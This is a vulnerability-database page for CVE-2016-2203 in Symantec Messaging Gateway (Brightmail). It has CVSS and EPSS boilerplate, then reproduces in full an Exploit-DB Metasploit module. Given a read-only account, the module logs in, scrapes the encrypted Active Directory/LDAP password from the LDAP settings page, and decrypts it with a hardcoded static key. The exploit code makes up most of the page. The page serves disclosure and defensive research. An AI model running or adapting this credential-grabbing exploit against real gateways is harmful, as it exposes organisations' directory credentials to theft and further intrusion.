Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-255 |
Category : Credentials Management Errors
Weaknesses in this category are related to the management of credentials. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 39715
Publication date : 2016-04-20 22h00 +00:00
Author : Fakhir Karim Reda
EDB Verified : No
# Exploit Title: Symantec Brightmail ldap credential Grabber
# Date: 18/04/2016
# Exploit Author: Fakhir Karim Reda
# Vendor Homepage: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year&suid=20160418_00
# Version: 10.6.0-7 and earlier
# Tested on: Linux, Unox Windows
# CVE : CVE-2016-2203
#Symantec Brightmail 10.6.0-7 and earlier save the AD password somewhere in the product. By having a read account on the gateway we can recover the AD #ACOUNT/PASSWORD
#indeed the html code contains the encrypted AD password.
#the encryption and decryption part is implemented in Java in the appliance, by reversing the code we get to know the encryption algorithm:
#public static String decrypt(String password)
#{
#byte clearText[];
#try{
#PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"{}`~!@#$%^&*()_+-=".toCharArray());
#SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
#SecretKey secretKey = keyFactory.generateSecret(keySpec);
#System.out.println("Encoded key "+ (new String(secretKey.getEncoded())));
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "base64"
require 'digest'
require "openssl"
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
'Description' => %q{
This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected
},
'References' =>
[
['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
['CVE','2016-2203'],
['BID','86137']
],
'Author' =>
[
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
],
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1',
'RPORT' => 443
},
'License' => MSF_LICENSE,
'DisclosureDate' => "Dec 17 2015"
))
register_options(
[
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]),
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
], self.class)
deregister_options('RHOST')
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'LDAP',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def auth(username, password, sid, last_login)
# Real JSESSIONID cookie
sid2 = ''
res = send_request_cgi({
'method' => 'POST',
'uri' => '/brightmail/login.do',
'headers' => {
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_post' => {
'lastlogin' => last_login,
'userLocale' => '',
'lang' => 'en_US',
'username' => username,
'password' => password,
'loginBtn' => 'Login'
}
})
if res.body =~ /Logged in/
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
return sid2
end
if res and res.headers['Location']
mlocation = res.headers['Location']
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
res = send_request_cgi({
'uri' => new_uri,
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
})
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
return sid2 if res and res.body =~ /Logged in/
end
return false
end
def get_login_data
sid = '' #From cookie
last_login = '' #A hidden field in the login page
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
if res and !res.get_cookies.empty?
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
end
if res
last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
end
return sid, last_login
end
# Returns the status of the listening port.
#
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
def port_open?
begin
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
return true if res
rescue ::Rex::ConnectionRefused
print_status("#{peer} - Connection refused")
return false
rescue ::Rex::ConnectionError
print_error("#{peer} - Connection failed")
return false
rescue ::OpenSSL::SSL::SSLError
print_error("#{peer} - SSL/TLS connection error")
return false
end
end
# Returns the derived key from the password, the salt and the iteration count number.
#
# @return Array of byte containing the derived key.
def get_derived_key(password, salt, count)
key = password + salt
for i in 0..count-1
key = Digest::MD5.digest(key)
end
kl = key.length
return key[0,8], key[8,kl]
end
# @Return the deciphered password
# Algorithm obtained by reversing the firmware
#
def decrypt(enc_str)
pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
salt = (Base64.strict_decode64(enc_str[0,12]))
remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
(dk, iv) = get_derived_key(pbe_key, salt, 1000)
alg = "des-cbc"
decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
decode_cipher.decrypt
decode_cipher.padding = 0
decode_cipher.key = dk
decode_cipher.iv = iv
plain = decode_cipher.update(remsg)
plain << decode_cipher.final
return plain.gsub(/[\x01-\x08]/,'')
end
def grab_auths(sid,last_login)
token = '' #from hidden input
selected_ldap = '' # from checkbox input
new_uri = '' # redirection
flow_id = '' # id of the flow
folder = '' # symantec folder
res = send_request_cgi({
'method' => 'GET',
'uri' => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'headers' => {
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
})
if res
token = res.body.scan(/<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] || ''
selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)" name="selectedLDAP".+\/>/).flatten[0] || ''
else
return false
end
res = send_request_cgi({
'method' => 'POST',
'uri' => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo",
'headers' => {
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
'vars_post' => {
'flowId' => '0',
'userLocale' => '',
'lang' => 'en_US',
'symantec.brightmail.key.TOKEN'=> "#{token}",
'selectedLDAP' => "#{selected_ldap}"
}
})
if res and res.headers['Location']
mlocation = res.headers['Location']
new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
else
return false
end
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{folder}",
'headers' => {
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
'vars_get' => {
'flowId' => "#{flow_id}",
'userLocale' => '',
'lang' => 'en_US'
}
})
if res and res.code == 200
login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
password = decrypt(password)
print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
end
end
def run_host(ip)
return unless port_open?
sid, last_login = get_login_data
if sid.empty? or last_login.empty?
print_error("#{peer} - Missing required login data. Cannot continue.")
return
end
username = datastore['USERNAME']
password = datastore['PASSWORD']
sid = auth(username, password, sid, last_login)
if not sid
print_error("#{peer} - Unable to login. Cannot continue.")
return
else
print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
e nd
grab_auths(sid,last_login)
end
end
Products Mentioned
Configuraton 0
Symantec>>Messaging_gateway >> Version 10.6.0
Symantec>>Messaging_gateway >> Version 10.6.0
Symantec>>Messaging_gateway >> Version 10.6.0
References
